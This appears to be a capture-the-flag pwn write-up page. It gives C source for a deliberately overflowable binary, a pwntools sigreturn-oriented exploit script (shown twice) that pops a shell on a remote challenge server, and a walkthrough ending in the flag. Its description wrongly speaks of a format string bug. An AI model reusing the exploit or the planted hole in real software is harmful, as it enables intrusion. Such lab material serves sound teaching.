0x00000000
← pwndbg> back

./Oracle_

PWN MOJO-JOJO CTF 0xa189c633 by r3t0x
DESCRIPTION
The Oracle knows all — but can you make it speak? Exploit a format string vulnerability to leak secrets from memory and gain arbitrary read/write to pop a shell.
DISASM // SOURCE
// main.c
const char binsh[] = "/bin/sh";

// Force the compiler to actually use it
void* get_binsh() {
    return (void*)binsh;
}

// Syscall wrappers
long syscall_write(int fd, const void *buf, unsigned long count) {
    long ret;
    __asm__ volatile (
        "mov $1, %%rax\n"
        "syscall"
        : "=a"(ret)
        : "D"(fd), "S"(buf), "d"(count)
        : "rcx", "r11", "memory"
    );
    return ret;
}

long syscall_read(int fd, void *buf, unsigned long count) {
    long ret;
    __asm__ volatile (
        "mov $0, %%rax\n"
        "syscall"
        : "=a"(ret)
        : "D"(fd), "S"(buf), "d"(count)
        : "rcx", "r11", "memory"
    );
    return ret;
}

void syscall_exit(int code) {
    __asm__ volatile (
        "mov $60, %%rax\n"
        "syscall"
        :
        : "D"(code)
    );
}

// Helper to print strings
void print(const char *s) {
    int len = 0;
    while(s[len]) len++;
    syscall_write(1, s, len);
}

// Our two gadgets
void echo_rax() {
    __asm__("pop %rax; ret;");
}

void echo_call() {
    __asm__("syscall; ret;");
}

// Vulnerable function
void listen() {
    char whisper[16];
    print("The void echoes...\n");
    syscall_read(0, whisper, 512);
}

// Entry point (no main, no libc)
void _start() {
    print("════════════════════════════════\n");
    print("          ECHOES \n");
    print("════════════════════════════════\n");
    print("In the silence, two sounds remain\n");
    print("Can you make them resonate?\n");
    print("════════════════════════════════\n\n");
    
    listen();
    
    print("\n  Silence returns...\n");
    syscall_exit(0);
}
// sol.py
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)
p = remote('4.233.210.175',9003)


echo_rax = 0x4010ce   # pop rax ; ret
echo_call = 0x4010d7  # syscall ; ret

log.success(f" Echo 1 (pop rax): {hex(echo_rax)}")
log.success(f" Echo 2 (syscall): {hex(echo_call)}")

# ═══════════════════════════════════════
# Find /bin/sh string in binary
# ═══════════════════════════════════════
try:
    binsh = next(elf.search(b'/bin/sh\x00'))
except StopIteration:
    try:
        binsh = next(elf.search(b'/bin/sh'))
    except StopIteration:
        # From your objdump: /bin/sh is at 0x402000
        binsh = 0x402000
        log.warning(f"Hardcoded /bin/sh address: {hex(binsh)}")

log.success(f"/bin/sh found at: {hex(binsh)}")

p.recvuntil(b'echoes...')

log.info("Building SIGROP payload...")

offset = 24  # 16 bytes buffer + 8 bytes RBP

payload = b'A' * offset

# Set rax = 15 (sys_rt_sigreturn)
payload += p64(echo_rax)
payload += p64(15)

# Call sigreturn
payload += p64(echo_call)

# Build sigreturn frame for execve
frame = SigreturnFrame()
frame.rax = 59           # sys_execve
frame.rdi = binsh        # pointer to "/bin/sh" 
frame.rsi = 0            # argv = NULL
frame.rdx = 0            # envp = NULL
frame.rip = echo_call    # return to syscall gadget
frame.rsp = 0# safe stack location

payload += bytes(frame)

# ═══════════════════════════════════════
# Send exploit
# ═══════════════════════════════════════
log.info(f"Payload size: {len(payload)} bytes")
log.info("Sending the resonance...")

p.send(payload)
sleep(0.5)
log.success("=" * 50)
log.success(" The echoes sing together!")
log.success("Shell spawned!")
log.success("=" * 50)

p.interactive()
WRITEUP // WALKTHROUGH

Oracle (Echoes) — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Hard
Author r3t0x
Technique SROP (Sigreturn-Oriented Programming)

Reconnaissance

pwndbg> checksec ./main
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

This is a statically linked, no-libc binary. It uses raw syscalls only — read, write, and exit. This means there's no system(), no printf(), nothing from libc. We must use raw syscalls.

The Two Gadgets

The binary provides exactly two gadgets:

echo_rax:  pop rax ; ret     @ 0x4010ce
echo_call: syscall ; ret     @ 0x4010d7

With pop rax; ret + syscall; ret, we can invoke any syscall by controlling RAX.

Exploit Strategy: SROP

Sigreturn-Oriented Programming abuses sys_rt_sigreturn (syscall 15) to restore a fake signal frame, giving us full control over all registers.

  1. Overflow buffer (16 bytes + 8 bytes RBP = offset 24)
  2. Set RAX = 15 using pop rax; ret
  3. Trigger sigreturn via syscall; ret
  4. Fake SigreturnFrame sets:
  5. RAX = 59 (sys_execve)
  6. RDI = address of "/bin/sh"
  7. RSI = 0, RDX = 0
  8. RIP = syscall; ret
frame = SigreturnFrame()
frame.rax = 59           # sys_execve
frame.rdi = binsh        # "/bin/sh" in .rodata
frame.rsi = 0
frame.rdx = 0
frame.rip = echo_call    # syscall; ret

Result

[+] /bin/sh found at: 0x402000
[*] Building SIGROP payload...
[+] The echoes sing together!
$ cat flag.txt
MOJO-JOJO{s1gr3turn_m4st3r}
EXECUTION // EXPLOIT
$ python3 solve.py
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)
p = remote('4.233.210.175',9003)


echo_rax = 0x4010ce   # pop rax ; ret
echo_call = 0x4010d7  # syscall ; ret

log.success(f" Echo 1 (pop rax): {hex(echo_rax)}")
log.success(f" Echo 2 (syscall): {hex(echo_call)}")

# ═══════════════════════════════════════
# Find /bin/sh string in binary
# ═══════════════════════════════════════
try:
    binsh = next(elf.search(b'/bin/sh\x00'))
except StopIteration:
    try:
        binsh = next(elf.search(b'/bin/sh'))
    except StopIteration:
        # From your objdump: /bin/sh is at 0x402000
        binsh = 0x402000
        log.warning(f"Hardcoded /bin/sh address: {hex(binsh)}")

log.success(f"/bin/sh found at: {hex(binsh)}")

p.recvuntil(b'echoes...')

log.info("Building SIGROP payload...")

offset = 24  # 16 bytes buffer + 8 bytes RBP

payload = b'A' * offset

# Set rax = 15 (sys_rt_sigreturn)
payload += p64(echo_rax)
payload += p64(15)

# Call sigreturn
payload += p64(echo_call)

# Build sigreturn frame for execve
frame = SigreturnFrame()
frame.rax = 59           # sys_execve
frame.rdi = binsh        # pointer to "/bin/sh" 
frame.rsi = 0            # argv = NULL
frame.rdx = 0            # envp = NULL
frame.rip = echo_call    # return to syscall gadget
frame.rsp = 0# safe stack location

payload += bytes(frame)

# ═══════════════════════════════════════
# Send exploit
# ═══════════════════════════════════════
log.info(f"Payload size: {len(payload)} bytes")
log.info("Sending the resonance...")

p.send(payload)
sleep(0.5)
log.success("=" * 50)
log.success(" The echoes sing together!")
log.success("Shell spawned!")
log.success("=" * 50)

p.interactive()